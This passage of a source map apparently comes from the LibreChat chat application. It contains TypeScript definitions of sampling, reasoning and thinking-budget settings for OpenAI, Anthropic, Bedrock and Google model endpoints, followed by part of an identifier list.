'com_endpoint_stop',\n labelCode: true,\n description: 'com_endpoint_openai_stop',\n descriptionCode: true,\n placeholder: 'com_endpoint_stop_placeholder',\n placeholderCode: true,\n type: 'array',\n default: [],\n component: 'tags',\n optionType: 'conversation',\n minTags: 0,\n maxTags: 4,\n },\n imageDetail: {\n key: 'imageDetail',\n label: 'com_endpoint_plug_image_detail',\n labelCode: true,\n description: 'com_endpoint_openai_detail',\n descriptionCode: true,\n type: 'enum',\n default: ImageDetail.auto,\n component: 'slider',\n options: [ImageDetail.low, ImageDetail.auto, ImageDetail.high],\n enumMappings: {\n [ImageDetail.low]: 'com_ui_low',\n [ImageDetail.auto]: 'com_ui_auto',\n [ImageDetail.high]: 'com_ui_high',\n },\n optionType: 'conversation',\n columnSpan: 2,\n },\n};\n\nconst createDefinition = (\n base: Partial<SettingDefinition>,\n overrides: Partial<SettingDefinition>,\n): SettingDefinition => {\n return { ...base, ...overrides } as SettingDefinition;\n};\n\nexport const librechat = {\n modelLabel: {\n key: 'modelLabel',\n label: 'com_endpoint_custom_name',\n labelCode: true,\n type: 'string',\n default: '',\n component: 'input',\n placeholder: 'com_endpoint_openai_custom_name_placeholder',\n placeholderCode: true,\n optionType: 'conversation',\n } as const,\n maxContextTokens: {\n key: 'maxContextTokens',\n label: 'com_endpoint_context_tokens',\n labelCode: true,\n type: 'number',\n component: 'input',\n placeholder: 'com_nav_theme_system',\n placeholderCode: true,\n description: 'com_endpoint_context_info',\n descriptionCode: true,\n optionType: 'model',\n columnSpan: 2,\n } as const,\n resendFiles: {\n key: 'resendFiles',\n label: 'com_endpoint_plug_resend_files',\n labelCode: true,\n description: 'com_endpoint_openai_resend_files',\n descriptionCode: true,\n type: 'boolean',\n default: true,\n component: 'switch',\n optionType: 'conversation',\n showDefault: false,\n columnSpan: 2,\n } as const,\n promptPrefix: {\n key: 'promptPrefix',\n label: 'com_endpoint_prompt_prefix',\n labelCode: true,\n type: 'string',\n default: '',\n component: 'textarea',\n placeholder: 'com_endpoint_openai_prompt_prefix_placeholder',\n placeholderCode: true,\n optionType: 'model',\n } as const,\n fileTokenLimit: {\n key: 'fileTokenLimit',\n label: 'com_ui_file_token_limit',\n labelCode: true,\n description: 'com_ui_file_token_limit_desc',\n descriptionCode: true,\n placeholder: 'com_nav_theme_system',\n placeholderCode: true,\n type: 'number',\n component: 'input',\n columnSpan: 2,\n } as const,\n};\n\nconst openAIParams: Record<string, SettingDefinition> = {\n chatGptLabel: {\n ...librechat.modelLabel,\n key: 'chatGptLabel',\n },\n promptPrefix: librechat.promptPrefix,\n temperature: createDefinition(baseDefinitions.temperature, {\n default: openAISettings.temperature.default,\n range: {\n min: openAISettings.temperature.min,\n max: openAISettings.temperature.max,\n step: openAISettings.temperature.step,\n },\n }),\n top_p: createDefinition(baseDefinitions.topP, {\n key: 'top_p',\n default: openAISettings.top_p.default,\n range: {\n min: openAISettings.top_p.min,\n max: openAISettings.top_p.max,\n step: openAISettings.top_p.step,\n },\n }),\n frequency_penalty: {\n key: 'frequency_penalty',\n label: 'com_endpoint_frequency_penalty',\n labelCode: true,\n description: 'com_endpoint_openai_freq',\n descriptionCode: true,\n type: 'number',\n default: openAISettings.frequency_penalty.default,\n range: {\n min: openAISettings.frequency_penalty.min,\n max: openAISettings.frequency_penalty.max,\n step: openAISettings.frequency_penalty.step,\n },\n component: 'slider',\n optionType: 'model',\n columnSpan: 4,\n },\n presence_penalty: {\n key: 'presence_penalty',\n label: 'com_endpoint_presence_penalty',\n labelCode: true,\n description: 'com_endpoint_openai_pres',\n descriptionCode: true,\n type: 'number',\n default: openAISettings.presence_penalty.default,\n range: {\n min: openAISettings.presence_penalty.min,\n max: openAISettings.presence_penalty.max,\n step: openAISettings.presence_penalty.step,\n },\n component: 'slider',\n optionType: 'model',\n columnSpan: 4,\n },\n max_tokens: {\n key: 'max_tokens',\n label: 'com_endpoint_max_output_tokens',\n labelCode: true,\n type: 'number',\n component: 'input',\n description: 'com_endpoint_openai_max_tokens',\n descriptionCode: true,\n placeholder: 'com_nav_theme_system',\n placeholderCode: true,\n optionType: 'model',\n columnSpan: 2,\n },\n reasoning_effort: {\n key: 'reasoning_effort',\n label: 'com_endpoint_reasoning_effort',\n labelCode: true,\n description: 'com_endpoint_openai_reasoning_effort',\n descriptionCode: true,\n type: 'enum',\n default: ReasoningEffort.unset,\n component: 'slider',\n options: [\n ReasoningEffort.unset,\n ReasoningEffort.none,\n ReasoningEffort.minimal,\n ReasoningEffort.low,\n ReasoningEffort.medium,\n ReasoningEffort.high,\n ReasoningEffort.xhigh,\n ],\n enumMappings: {\n [ReasoningEffort.unset]: 'com_ui_auto',\n [ReasoningEffort.none]: 'com_ui_none',\n [ReasoningEffort.minimal]: 'com_ui_minimal',\n [ReasoningEffort.low]: 'com_ui_low',\n [ReasoningEffort.medium]: 'com_ui_medium',\n [ReasoningEffort.high]: 'com_ui_high',\n [ReasoningEffort.xhigh]: 'com_ui_xhigh',\n },\n optionType: 'model',\n columnSpan: 4,\n },\n useResponsesApi: {\n key: 'useResponsesApi',\n label: 'com_endpoint_use_responses_api',\n labelCode: true,\n description: 'com_endpoint_openai_use_responses_api',\n descriptionCode: true,\n type: 'boolean',\n default: false,\n component: 'switch',\n optionType: 'model',\n showDefault: false,\n columnSpan: 2,\n },\n web_search: {\n key: 'web_search',\n label: 'com_ui_web_search',\n labelCode: true,\n description: 'com_endpoint_openai_use_web_search',\n descriptionCode: true,\n type: 'boolean',\n default: false,\n component: 'switch',\n optionType: 'model',\n showDefault: false,\n columnSpan: 2,\n },\n reasoning_summary: {\n key: 'reasoning_summary',\n label: 'com_endpoint_reasoning_summary',\n labelCode: true,\n description: 'com_endpoint_openai_reasoning_summary',\n descriptionCode: true,\n type: 'enum',\n default: ReasoningSummary.none,\n component: 'slider',\n options: [\n ReasoningSummary.none,\n ReasoningSummary.auto,\n ReasoningSummary.concise,\n ReasoningSummary.detailed,\n ],\n enumMappings: {\n [ReasoningSummary.none]: 'com_ui_unset',\n [ReasoningSummary.auto]: 'com_ui_auto',\n [ReasoningSummary.concise]: 'com_ui_concise',\n [ReasoningSummary.detailed]: 'com_ui_detailed',\n },\n optionType: 'model',\n columnSpan: 4,\n },\n verbosity: {\n key: 'verbosity',\n label: 'com_endpoint_verbosity',\n labelCode: true,\n description: 'com_endpoint_openai_verbosity',\n descriptionCode: true,\n type: 'enum',\n default: Verbosity.none,\n component: 'slider',\n options: [Verbosity.none, Verbosity.low, Verbosity.medium, Verbosity.high],\n enumMappings: {\n [Verbosity.none]: 'com_ui_none',\n [Verbosity.low]: 'com_ui_low',\n [Verbosity.medium]: 'com_ui_medium',\n [Verbosity.high]: 'com_ui_high',\n },\n optionType: 'model',\n columnSpan: 4,\n },\n disableStreaming: {\n key: 'disableStreaming',\n label: 'com_endpoint_disable_streaming_label',\n labelCode: true,\n description: 'com_endpoint_disable_streaming',\n descriptionCode: true,\n type: 'boolean',\n default: false,\n component: 'switch',\n optionType: 'model',\n showDefault: false,\n columnSpan: 2,\n } as const,\n};\n\nconst anthropic: Record<string, SettingDefinition> = {\n maxOutputTokens: {\n key: 'maxOutputTokens',\n label: 'com_endpoint_max_output_tokens',\n labelCode: true,\n type: 'number',\n component: 'input',\n description: 'com_endpoint_anthropic_maxoutputtokens',\n descriptionCode: true,\n placeholder: 'com_nav_theme_system',\n placeholderCode: true,\n range: {\n min: anthropicSettings.maxOutputTokens.min,\n max: anthropicSettings.maxOutputTokens.max,\n step: anthropicSettings.maxOutputTokens.step,\n },\n optionType: 'model',\n columnSpan: 2,\n },\n temperature: createDefinition(baseDefinitions.temperature, {\n default: anthropicSettings.temperature.default,\n range: {\n min: anthropicSettings.temperature.min,\n max: anthropicSettings.temperature.max,\n step: anthropicSettings.temperature.step,\n },\n }),\n topP: createDefinition(baseDefinitions.topP, {\n default: anthropicSettings.topP.default,\n range: {\n min: anthropicSettings.topP.min,\n max: anthropicSettings.topP.max,\n step: anthropicSettings.topP.step,\n },\n }),\n topK: {\n key: 'topK',\n label: 'com_endpoint_top_k',\n labelCode: true,\n description: 'com_endpoint_anthropic_topk',\n descriptionCode: true,\n type: 'number',\n default: anthropicSettings.topK.default,\n range: {\n min: anthropicSettings.topK.min,\n max: anthropicSettings.topK.max,\n step: anthropicSettings.topK.step,\n },\n component: 'slider',\n optionType: 'model',\n columnSpan: 4,\n },\n promptCache: {\n key: 'promptCache',\n label: 'com_endpoint_prompt_cache',\n labelCode: true,\n description: 'com_endpoint_anthropic_prompt_cache',\n descriptionCode: true,\n type: 'boolean',\n default: anthropicSettings.promptCache.default,\n component: 'switch',\n optionType: 'conversation',\n showDefault: false,\n columnSpan: 2,\n },\n thinking: {\n key: 'thinking',\n label: 'com_endpoint_thinking',\n labelCode: true,\n description: 'com_endpoint_anthropic_thinking',\n descriptionCode: true,\n type: 'boolean',\n default: anthropicSettings.thinking.default,\n component: 'switch',\n optionType: 'conversation',\n showDefault: false,\n columnSpan: 2,\n },\n thinkingBudget: {\n key: 'thinkingBudget',\n label: 'com_endpoint_thinking_budget',\n labelCode: true,\n description: 'com_endpoint_anthropic_thinking_budget',\n descriptionCode: true,\n type: 'number',\n component: 'input',\n default: anthropicSettings.thinkingBudget.default,\n range: {\n min: anthropicSettings.thinkingBudget.min,\n max: anthropicSettings.thinkingBudget.max,\n step: anthropicSettings.thinkingBudget.step,\n },\n optionType: 'conversation',\n columnSpan: 2,\n },\n web_search: {\n key: 'web_search',\n label: 'com_ui_web_search',\n labelCode: true,\n description: 'com_endpoint_anthropic_use_web_search',\n descriptionCode: true,\n type: 'boolean',\n default: anthropicSettings.web_search.default,\n component: 'switch',\n optionType: 'conversation',\n showDefault: false,\n columnSpan: 2,\n },\n effort: {\n key: 'effort',\n label: 'com_endpoint_effort',\n labelCode: true,\n description: 'com_endpoint_anthropic_effort',\n descriptionCode: true,\n type: 'enum',\n default: anthropicSettings.effort.default,\n component: 'slider',\n options: anthropicSettings.effort.options,\n enumMappings: {\n [AnthropicEffort.unset]: 'com_ui_auto',\n [AnthropicEffort.low]: 'com_ui_low',\n [AnthropicEffort.medium]: 'com_ui_medium',\n [AnthropicEffort.high]: 'com_ui_high',\n [AnthropicEffort.max]: 'com_ui_max',\n },\n optionType: 'model',\n columnSpan: 4,\n },\n};\n\nconst bedrock: Record<string, SettingDefinition> = {\n system: {\n key: 'system',\n label: 'com_endpoint_prompt_prefix',\n labelCode: true,\n type: 'string',\n default: '',\n component: 'textarea',\n placeholder: 'com_endpoint_openai_prompt_prefix_placeholder',\n placeholderCode: true,\n optionType: 'model',\n },\n region: {\n key: 'region',\n type: 'string',\n label: 'com_ui_region',\n labelCode: true,\n component: 'combobox',\n optionType: 'conversation',\n selectPlaceholder: 'com_ui_select_region',\n searchPlaceholder: 'com_ui_select_search_region',\n searchPlaceholderCode: true,\n selectPlaceholderCode: true,\n columnSpan: 2,\n },\n maxTokens: {\n key: 'maxTokens',\n label: 'com_endpoint_max_output_tokens',\n labelCode: true,\n type: 'number',\n component: 'input',\n description: 'com_endpoint_anthropic_maxoutputtokens',\n descriptionCode: true,\n placeholder: 'com_nav_theme_system',\n placeholderCode: true,\n optionType: 'model',\n columnSpan: 2,\n },\n temperature: createDefinition(baseDefinitions.temperature, {\n default: 1,\n range: { min: 0, max: 1, step: 0.01 },\n }),\n topK: createDefinition(anthropic.topK, {\n range: { min: 0, max: 500, step: 1 },\n }),\n topP: createDefinition(baseDefinitions.topP, {\n default: 0.999,\n range: { min: 0, max: 1, step: 0.01 },\n }),\n promptCache: {\n key: 'promptCache',\n label: 'com_endpoint_prompt_cache',\n labelCode: true,\n type: 'boolean',\n description: 'com_endpoint_anthropic_prompt_cache',\n descriptionCode: true,\n default: true,\n component: 'switch',\n optionType: 'conversation',\n showDefault: false,\n columnSpan: 2,\n },\n reasoning_effort: {\n key: 'reasoning_effort',\n label: 'com_endpoint_reasoning_effort',\n labelCode: true,\n description: 'com_endpoint_bedrock_reasoning_effort',\n descriptionCode: true,\n type: 'enum',\n default: ReasoningEffort.unset,\n component: 'slider',\n options: [\n ReasoningEffort.unset,\n ReasoningEffort.low,\n ReasoningEffort.medium,\n ReasoningEffort.high,\n ],\n enumMappings: {\n [ReasoningEffort.unset]: 'com_ui_off',\n [ReasoningEffort.low]: 'com_ui_low',\n [ReasoningEffort.medium]: 'com_ui_medium',\n [ReasoningEffort.high]: 'com_ui_high',\n },\n optionType: 'model',\n columnSpan: 4,\n },\n};\n\nconst mistral: Record<string, SettingDefinition> = {\n temperature: createDefinition(baseDefinitions.temperature, {\n default: 0.7,\n range: { min: 0, max: 1, step: 0.01 },\n }),\n topP: createDefinition(baseDefinitions.topP, {\n range: { min: 0, max: 1, step: 0.01 },\n }),\n};\n\nconst cohere: Record<string, SettingDefinition> = {\n temperature: createDefinition(baseDefinitions.temperature, {\n default: 0.3,\n range: { min: 0, max: 1, step: 0.01 },\n }),\n topP: createDefinition(baseDefinitions.topP, {\n default: 0.75,\n range: { min: 0.01, max: 0.99, step: 0.01 },\n }),\n};\n\nconst meta: Record<string, SettingDefinition> = {\n temperature: createDefinition(baseDefinitions.temperature, {\n default: 0.5,\n range: { min: 0, max: 1, step: 0.01 },\n }),\n topP: createDefinition(baseDefinitions.topP, {\n default: 0.9,\n range: { min: 0, max: 1, step: 0.01 },\n }),\n};\n\nconst google: Record<string, SettingDefinition> = {\n temperature: createDefinition(baseDefinitions.temperature, {\n default: googleSettings.temperature.default,\n range: {\n min: googleSettings.temperature.min,\n max: googleSettings.temperature.max,\n step: googleSettings.temperature.step,\n },\n }),\n topP: createDefinition(baseDefinitions.topP, {\n default: googleSettings.topP.default,\n range: {\n min: googleSettings.topP.min,\n max: googleSettings.topP.max,\n step: googleSettings.topP.step,\n },\n }),\n topK: {\n key: 'topK',\n label: 'com_endpoint_top_k',\n labelCode: true,\n description: 'com_endpoint_google_topk',\n descriptionCode: true,\n type: 'number',\n default: googleSettings.topK.default,\n range: {\n min: googleSettings.topK.min,\n max: googleSettings.topK.max,\n step: googleSettings.topK.step,\n },\n component: 'slider',\n optionType: 'model',\n columnSpan: 4,\n },\n maxOutputTokens: {\n key: 'maxOutputTokens',\n label: 'com_endpoint_max_output_tokens',\n labelCode: true,\n type: 'number',\n component: 'input',\n description: 'com_endpoint_google_maxoutputtokens',\n descriptionCode: true,\n placeholder: 'com_nav_theme_system',\n placeholderCode: true,\n default: googleSettings.maxOutputTokens.default,\n range: {\n min: googleSettings.maxOutputTokens.min,\n max: googleSettings.maxOutputTokens.max,\n step: googleSettings.maxOutputTokens.step,\n },\n optionType: 'model',\n columnSpan: 2,\n },\n thinking: {\n key: 'thinking',\n label: 'com_endpoint_thinking',\n labelCode: true,\n description: 'com_endpoint_google_thinking',\n descriptionCode: true,\n type: 'boolean',\n default: googleSettings.thinking.default,\n component: 'switch',\n optionType: 'conversation',\n showDefault: false,\n columnSpan: 2,\n },\n thinkingBudget: {\n key: 'thinkingBudget',\n label: 'com_endpoint_thinking_budget',\n labelCode: true,\n description: 'com_endpoint_google_thinking_budget',\n descriptionCode: true,\n placeholder: 'com_ui_auto',\n placeholderCode: true,\n type: 'number',\n component: 'input',\n range: {\n min: googleSettings.thinkingBudget.min,\n max: googleSettings.thinkingBudget.max,\n step: googleSettings.thinkingBudget.step,\n },\n optionType: 'conversation',\n columnSpan: 2,\n },\n thinkingLevel: {\n key: 'thinkingLevel',\n label: 'com_endpoint_thinking_level',\n labelCode: true,\n description: 'com_endpoint_google_thinking_level',\n descriptionCode: true,\n type: 'enum',\n default: ThinkingLevel.unset,\n component: 'slider',\n options: [\n ThinkingLevel.unset,\n ThinkingLevel.minimal,\n ThinkingLevel.low,\n ThinkingLevel.medium,\n ThinkingLevel.high,\n ],\n enumMappings: {\n [ThinkingLevel.unset]: 'com_ui_auto',\n [ThinkingLevel.minimal]: 'com_ui_minimal',\n [ThinkingLevel.low]: 'com_ui_low',\n [ThinkingLevel.medium]: 'com_ui_medium',\n [ThinkingLevel.high]: 'com_ui_high',\n },\n optionType: 'conversation',\n columnSpan: 4,\n },\n web_search: {\n key: 'web_search',\n label: 'com_endpoint_use_search_grounding',\n labelCode: true,\n description: 'com_endpoint_google_use_search_grounding',\n descriptionCode: true,\n type: 'boolean',\n default: false,\n component: 'switch',\n optionType: 'model',\n showDefault: false,\n columnSpan: 2,\n },\n};\n\nconst googleConfig: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n google.maxOutputTokens,\n google.temperature,\n google.topP,\n google.topK,\n librechat.resendFiles,\n google.thinking,\n google.thinkingBudget,\n google.thinkingLevel,\n google.web_search,\n librechat.fileTokenLimit,\n];\n\nconst googleCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst googleCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n google.maxOutputTokens,\n google.temperature,\n google.topP,\n google.topK,\n librechat.resendFiles,\n google.thinking,\n google.thinkingBudget,\n google.thinkingLevel,\n google.web_search,\n librechat.fileTokenLimit,\n];\n\nconst openAI: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n openAIParams.max_tokens,\n openAIParams.temperature,\n openAIParams.top_p,\n openAIParams.frequency_penalty,\n openAIParams.presence_penalty,\n baseDefinitions.stop,\n librechat.resendFiles,\n baseDefinitions.imageDetail,\n openAIParams.web_search,\n openAIParams.reasoning_effort,\n openAIParams.useResponsesApi,\n openAIParams.reasoning_summary,\n openAIParams.verbosity,\n openAIParams.disableStreaming,\n librechat.fileTokenLimit,\n];\n\nconst openAICol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst openAICol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n openAIParams.max_tokens,\n openAIParams.temperature,\n openAIParams.top_p,\n openAIParams.frequency_penalty,\n openAIParams.presence_penalty,\n baseDefinitions.stop,\n librechat.resendFiles,\n baseDefinitions.imageDetail,\n openAIParams.reasoning_effort,\n openAIParams.reasoning_summary,\n openAIParams.verbosity,\n openAIParams.useResponsesApi,\n openAIParams.web_search,\n openAIParams.disableStreaming,\n librechat.fileTokenLimit,\n];\n\nconst anthropicConfig: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n anthropic.maxOutputTokens,\n anthropic.temperature,\n anthropic.topP,\n anthropic.topK,\n librechat.resendFiles,\n anthropic.promptCache,\n anthropic.thinking,\n anthropic.thinkingBudget,\n anthropic.effort,\n anthropic.web_search,\n librechat.fileTokenLimit,\n];\n\nconst anthropicCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst anthropicCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n anthropic.maxOutputTokens,\n anthropic.temperature,\n anthropic.topP,\n anthropic.topK,\n librechat.resendFiles,\n anthropic.promptCache,\n anthropic.thinking,\n anthropic.thinkingBudget,\n anthropic.effort,\n anthropic.web_search,\n librechat.fileTokenLimit,\n];\n\nconst bedrockAnthropic: SettingsConfiguration = [\n librechat.modelLabel,\n bedrock.system,\n librechat.maxContextTokens,\n bedrock.maxTokens,\n bedrock.temperature,\n bedrock.topP,\n bedrock.topK,\n baseDefinitions.stop,\n librechat.resendFiles,\n bedrock.region,\n bedrock.promptCache,\n anthropic.thinking,\n anthropic.thinkingBudget,\n anthropic.effort,\n librechat.fileTokenLimit,\n];\n\nconst bedrockMistral: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n bedrock.maxTokens,\n mistral.temperature,\n mistral.topP,\n librechat.resendFiles,\n bedrock.region,\n librechat.fileTokenLimit,\n];\n\nconst bedrockCohere: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n bedrock.maxTokens,\n cohere.temperature,\n cohere.topP,\n librechat.resendFiles,\n bedrock.region,\n librechat.fileTokenLimit,\n];\n\nconst bedrockGeneral: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n meta.temperature,\n meta.topP,\n librechat.resendFiles,\n bedrock.region,\n bedrock.promptCache,\n librechat.fileTokenLimit,\n];\n\nconst bedrockAnthropicCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n bedrock.system,\n baseDefinitions.stop,\n];\n\nconst bedrockAnthropicCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n bedrock.maxTokens,\n bedrock.temperature,\n bedrock.topP,\n bedrock.topK,\n librechat.resendFiles,\n bedrock.region,\n bedrock.promptCache,\n anthropic.thinking,\n anthropic.thinkingBudget,\n anthropic.effort,\n librechat.fileTokenLimit,\n];\n\nconst bedrockMistralCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst bedrockMistralCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n bedrock.maxTokens,\n mistral.temperature,\n mistral.topP,\n librechat.resendFiles,\n bedrock.region,\n librechat.fileTokenLimit,\n];\n\nconst bedrockCohereCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst bedrockCohereCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n bedrock.maxTokens,\n cohere.temperature,\n cohere.topP,\n librechat.resendFiles,\n bedrock.region,\n librechat.fileTokenLimit,\n];\n\nconst bedrockGeneralCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst bedrockGeneralCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n meta.temperature,\n meta.topP,\n librechat.resendFiles,\n bedrock.region,\n bedrock.promptCache,\n librechat.fileTokenLimit,\n];\n\nconst bedrockZAI: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n meta.temperature,\n meta.topP,\n librechat.resendFiles,\n bedrock.region,\n bedrock.reasoning_effort,\n librechat.fileTokenLimit,\n];\n\nconst bedrockZAICol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst bedrockZAICol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n meta.temperature,\n meta.topP,\n librechat.resendFiles,\n bedrock.region,\n bedrock.reasoning_effort,\n librechat.fileTokenLimit,\n];\n\nconst bedrockMoonshot: SettingsConfiguration = [\n librechat.modelLabel,\n bedrock.system,\n librechat.maxContextTokens,\n createDefinition(bedrock.maxTokens, {\n default: 16384,\n }),\n bedrock.temperature,\n bedrock.topP,\n baseDefinitions.stop,\n librechat.resendFiles,\n bedrock.region,\n bedrock.reasoning_effort,\n librechat.fileTokenLimit,\n];\n\nconst bedrockMoonshotCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n bedrock.system,\n baseDefinitions.stop,\n];\n\nconst bedrockMoonshotCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n createDefinition(bedrock.maxTokens, {\n default: 16384,\n }),\n bedrock.temperature,\n bedrock.topP,\n librechat.resendFiles,\n bedrock.region,\n bedrock.reasoning_effort,\n librechat.fileTokenLimit,\n];\n\nexport const paramSettings: Record<string, SettingsConfiguration | undefined> = {\n [EModelEndpoint.openAI]: openAI,\n [EModelEndpoint.azureOpenAI]: openAI,\n [EModelEndpoint.custom]: openAI,\n [EModelEndpoint.anthropic]: anthropicConfig,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Anthropic}`]: bedrockAnthropic,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.MistralAI}`]: bedrockMistral,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Cohere}`]: bedrockCohere,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Meta}`]: bedrockGeneral,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.AI21}`]: bedrockGeneral,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Amazon}`]: bedrockGeneral,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.DeepSeek}`]: bedrockGeneral,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Moonshot}`]: bedrockMoonshot,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.MoonshotAI}`]: bedrockMoonshot,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.OpenAI}`]: bedrockGeneral,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.ZAI}`]: bedrockZAI,\n [EModelEndpoint.google]: googleConfig,\n};\n\nconst openAIColumns = {\n col1: openAICol1,\n col2: openAICol2,\n};\n\nconst bedrockGeneralColumns = {\n col1: bedrockGeneralCol1,\n col2: bedrockGeneralCol2,\n};\n\nexport const presetSettings: Record<\n string,\n | {\n col1: SettingsConfiguration;\n col2: SettingsConfiguration;\n }\n | undefined\n> = {\n [EModelEndpoint.openAI]: openAIColumns,\n [EModelEndpoint.azureOpenAI]: openAIColumns,\n [EModelEndpoint.custom]: openAIColumns,\n [EModelEndpoint.anthropic]: {\n col1: anthropicCol1,\n col2: anthropicCol2,\n },\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Anthropic}`]: {\n col1: bedrockAnthropicCol1,\n col2: bedrockAnthropicCol2,\n },\n [`${EModelEndpoint.bedrock}-${BedrockProviders.MistralAI}`]: {\n col1: bedrockMistralCol1,\n col2: bedrockMistralCol2,\n },\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Cohere}`]: {\n col1: bedrockCohereCol1,\n col2: bedrockCohereCol2,\n },\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Meta}`]: bedrockGeneralColumns,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.AI21}`]: bedrockGeneralColumns,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Amazon}`]: bedrockGeneralColumns,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.DeepSeek}`]: bedrockGeneralColumns,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Moonshot}`]: {\n col1: bedrockMoonshotCol1,\n col2: bedrockMoonshotCol2,\n },\n [`${EModelEndpoint.bedrock}-${BedrockProviders.MoonshotAI}`]: {\n col1: bedrockMoonshotCol1,\n col2: bedrockMoonshotCol2,\n },\n [`${EModelEndpoint.bedrock}-${BedrockProviders.OpenAI}`]: bedrockGeneralColumns,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.ZAI}`]: {\n col1: bedrockZAICol1,\n col2: bedrockZAICol2,\n },\n [EModelEndpoint.google]: {\n col1: googleCol1,\n col2: googleCol2,\n },\n};\n\nexport const agentParamSettings: Record<string, SettingsConfiguration | undefined> = Object.entries(\n presetSettings,\n).reduce<Record<string, SettingsConfiguration | undefined>>((acc, [key, value]) => {\n if (value) {\n acc[key] = value.col2;\n }\n return acc;\n}, {});\n"],"names":["Tools","EToolResources","AnnotationTypes","StepStatus","MessageContentTypes","RunStatus","envVarRegex","SENSITIVE_ENV_VARS","Set","isSensitiveEnvVar","varName","has","extractVariableName","value","match","trim","extractEnvVariable","trimmed","singleMatch","process","env","regex","result","matches","exec","push","fullMatch","index","i","length","_a","envValue","substring","normalizeEndpointName","name","toLowerCase","FilePurpose","actionDelimiter","actionDomainSeparator","hostImageIdSuffix","hostImageNamePrefix","AssistantStreamEvents","defaultOrderQuery","order","limit","FEEDBACK_RATINGS","FEEDBACK_REASON_KEYS","FEEDBACK_TAGS","key","label","direction","icon","getTagsForRating","rating","filter","tag","feedbackTagKeySchema","z","enum","feedbackRatingSchema","feedbackSchema","object","text","string","max","optional","toMinimalFeedback","feedback","getTagByKey","find","AuthType","isUUID","uuid","EModelEndpoint","Providers","authTypeSchema","nativeEnum","BedrockProviders","documentSupportedProviders","anthropic","openAI","bedrock","custom","google","VERTEXAI","MISTRALAI","MISTRAL","DEEPSEEK","MOONSHOT","OPENROUTER","XAI","openAILikeProviders","OPENAI","AZURE","isOpenAILikeProvider","provider","isDocumentSupportedProvider","paramEndpoints","agents","azureOpenAI","ImageDetail","ReasoningEffort","AnthropicEffort","BedrockReasoningConfig","ReasoningSummary","Verbosity","ThinkingLevel","getModelKey","endpoint","model","parts","split","part","Object","values","includes","getSettingsKeys","endpointKey","modelKey","concat","isAssistantsEndpoint","_endpoint","endsWith","assistants","isAgentsEndpoint","isParamEndpoint","endpointType","imageDetailNumeric","low","auto","high","imageDetailValue","eImageDetailSchema","eReasoningEffortSchema","eAnthropicEffortSchema","eReasoningSummarySchema","eVerbositySchema","eThinkingLevelSchema","defaultAssistantFormValues","assistant","id","description","instructions","conversation_starters","functions","code_interpreter","image_vision","retrieval","append_current_datetime","defaultAgentFormValues","_b","agent","model_parameters","tools","tool_options","edges","artifacts","recursion_limit","undefined","execute_code","file_search","web_search","category","support_contact","email","ImageVisionTool","_c","type","function","parameters","properties","required","isImageVisionTool","tool","openAISettings","default","temperature","min","step","top_p","presence_penalty","frequency_penalty","resendFiles","maxContextTokens","max_tokens","imageDetail","googleSettings","maxOutputTokens","topP","topK","thinking","thinkingBudget","thinkingLevel","unset","ANTHROPIC_MAX_OUTPUT","CLAUDE_4_64K_MAX_OUTPUT","CLAUDE_32K_MAX_OUTPUT","anthropicSettings","promptCache","reset","modelName","test","set","legacy","effort","options","medium","agentsSettings","endpointSettings","_d","eModelEndpointSchema","extendedModelEndpointSchema","union","tPluginAuthConfigSchema","authField","boolean","tPluginSchema","pluginKey","authConfig","array","authenticated","chatMe